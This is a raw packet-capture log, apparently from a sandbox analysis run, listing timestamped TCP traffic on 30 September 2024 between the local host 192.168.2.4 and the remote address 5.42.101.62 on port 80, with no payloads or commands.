Sep 30, 2024 12:22:32.488008976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488078117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488095045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488111019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488122940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488128901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488132000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488145113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488152981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488171101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488188982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488220930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488235950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488262892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488277912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488320112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488334894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488349915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488363028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488363981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488379955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488384962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488399982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488404989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488428116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488447905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488475084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488488913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488504887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488518000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488519907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488528013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488545895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488564968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488571882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488588095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488603115 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488612890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488619089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488629103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488635063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488645077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488655090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488684893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488701105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488715887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488718987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.488742113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.488756895 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.532367945 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.532406092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.532423973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.532429934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.532444954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.532449961 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.532461882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.532469034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.532488108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.532491922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.532500029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.532505989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.532527924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.532542944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572628021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572679996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572696924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572705030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572721958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572732925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572740078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572750092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572757006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572781086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572804928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572813988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572829008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572844982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572850943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572861910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572864056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572877884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572880983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572896957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572904110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572913885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572938919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.572967052 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.572983980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.573005915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.573020935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.624648094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.629594088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807320118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807352066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807368994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807391882 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807420015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807435036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807449102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807473898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807490110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807516098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807532072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807547092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807554007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807564020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807580948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807598114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807617903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807620049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807641983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807641983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807657957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807658911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807673931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807682991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807689905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807701111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807718039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807734966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807746887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807761908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807776928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807780981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807792902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807800055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807810068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807817936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807828903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807833910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807851076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807868958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807873011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807888985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807904959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.807907104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807926893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.807936907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808058977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808073997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808088064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808094978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808104992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808114052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808120966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808130026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808136940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808149099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808154106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808165073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808168888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808183908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808183908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808202982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808209896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808233976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808336020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808351040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808366060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808371067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808382034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808393002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808397055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808412075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808413982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808428049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808438063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808444023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808460951 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808461905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808487892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808511972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808561087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808576107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808588982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808603048 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808618069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808638096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808758020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808773041 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808788061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808790922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808804035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808809042 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808819056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808825970 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808835030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808842897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808850050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808862925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808866024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808876991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808882952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808897018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808898926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808914900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808919907 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808931112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.808943033 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.808968067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809016943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809035063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809050083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809051991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809062958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809068918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809077978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809092999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809097052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809108019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809113979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809125900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809137106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809140921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809163094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809182882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809259892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809274912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809290886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809295893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809305906 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809309006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809323072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809325933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809339046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809344053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809355974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809365034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809374094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809376001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809392929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809410095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809567928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809583902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809598923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809607029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809617043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809622049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809633017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809639931 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809649944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809658051 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809668064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809675932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809685946 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809693098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809710026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809710979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809726954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809735060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809751987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809758902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809768915 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809775114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809789896 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809793949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809803963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809808969 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809818983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809824944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809834957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809842110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809850931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809859037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809866905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809879065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809885025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809894085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809900999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809911013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809916973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809927940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809945107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809963942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809964895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809981108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.809997082 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.809998035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810014963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810015917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810031891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810048103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810053110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810072899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810096979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810275078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810292006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810307026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810321093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810324907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810334921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810339928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810352087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810359001 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810369968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810374022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810395956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810399055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810414076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810420990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810431004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810436010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810447931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810450077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810461044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810466051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810481071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810486078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810498953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810513020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810520887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810539007 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.810560942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.810576916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894197941 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894221067 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894251108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894264936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894280910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894299984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894315004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894320965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894330978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894350052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894387007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894443035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894462109 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894475937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894479036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894494057 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894495010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.894509077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.894520998 CEST	80	52534	5.42.101.62	192.168.2.4
